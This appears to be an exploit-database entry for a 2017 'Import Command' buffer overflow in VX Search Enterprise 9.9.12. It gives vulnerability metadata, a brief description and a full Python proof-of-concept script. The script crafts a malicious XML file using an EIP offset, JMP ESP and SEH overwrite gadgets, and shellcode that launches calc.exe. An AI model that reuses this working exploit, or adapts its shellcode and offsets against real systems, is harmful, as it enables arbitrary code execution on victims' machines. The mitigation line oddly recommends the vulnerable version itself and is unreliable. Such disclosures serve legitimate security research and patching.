VX Search Enterprise v9.9.12 - 'Import Command' Buffer Overflow

vendor:

VX Search Enterprise

by:

Anurag Srivastava

9,3

CVSS

HIGH

Buffer Overflow

119

CWE

Product Name: VX Search Enterprise

Affected Version From: 9.9.12

Affected Version To: 9.9.12

Patch Exists: YES

Related CWE: N/A

CPE: a:vxsearch:vx_search_enterprise:9.9.12

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Windows 7 Ultimate x64bit and Windows 10 Home Edition x64

2017

VX Search Enterprise v9.9.12 – ‘Import Command’ Buffer Overflow

VX Search Enterprise v9.9.12 is vulnerable to a buffer overflow vulnerability in the 'Import Command' feature. An attacker can exploit this vulnerability by creating a specially crafted XML file and importing it into the application. This will cause a buffer overflow and allow the attacker to execute arbitrary code on the target system.

Mitigation:

Update to the latest version of VX Search Enterprise v9.9.12 or later.

Source

Exploit-DB raw data:

#!/usr/bin/python
 
# Exploit Title	    : VX Search Enterprise v9.9.12 - 'Import Command' Buffer Overflow  
# Discovery by      : Anurag Srivastava
# Email             : anurag.srivastava@pyramidcyber.com
# Website 	    : www.pyramidcyber.com
# Discovery Date    : 22/08/2017
# Software Link     : http://www.vxsearch.com/setups/vxsearchent_setup_v9.9.12.exe
# Tested Version    : 9.9.12
# Tested on OS      : Windows 7 Ultimate x64bit and Windows 10 Home Edition x64
# Steps to Reproduce: Run the python file to generate pyramid.xml and then open VX Search Enterprise software , right click and click on import command . Select pyramid.xml file .
 
import os,struct
 
#offset to eip
junk = "A" * (1560)

#JMP ESP (QtGui4.dll)
jmp1 = struct.pack('<L',0x651bb77a)

#NOPS
nops = "\x90"
 
#LEA   EAX, [ESP+76]
esp = "\x8D\x44\x24\x4c"

#JMP ESP
jmp2 = "\xFF\xE0"

#JMP Short
nseh = "\x90\x90\xEB\x05" #Jump short 5



#POP POP RET (libspp.dll)
seh = struct.pack('<L',0x10015FFE)


#CALC.EXE
shellcode =  "\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7"
 

# FINAL PAYLOAD
evil = junk + jmp1 + nops * 16 + esp + jmp2 + nops * 64 + nseh + seh + nops * 10 + shellcode 

 
#FILE
file='<?xml version="1.0" encoding="UTF-8"?>\n<classify\nname=\'' + evil + '\n</classify>'
 
f = open('pyramid.xml', 'w')
f.write(file)
f.close()